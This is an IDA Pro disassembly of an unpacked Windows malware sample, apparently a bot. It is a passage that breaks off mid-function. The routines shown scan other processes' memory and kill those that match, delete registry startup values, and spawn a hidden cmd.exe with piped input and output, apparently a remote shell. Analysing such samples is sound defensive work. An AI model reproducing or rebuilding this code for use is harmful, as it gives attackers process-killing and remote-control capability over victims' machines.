;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	9A9B65D1086BFFEB692B86D29A9A76DE

; File Name   :	u:\work\9a9b65d1086bffeb692b86d29a9a76de_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0002B000 ( 176128.)
; Section size in file		: 0002B000 ( 176128.)
; Offset to raw	data for section: 00001000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: .data:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DDF4, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DDF4
		call	dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DDE8, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DDE8
		call	dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DDEC, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DDEC
		call	dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DDF0, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DDF0
		call	dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DDFC
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DDFC
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DDFC, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DDFC, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DDF0
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DE00
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4	; CloseHandle
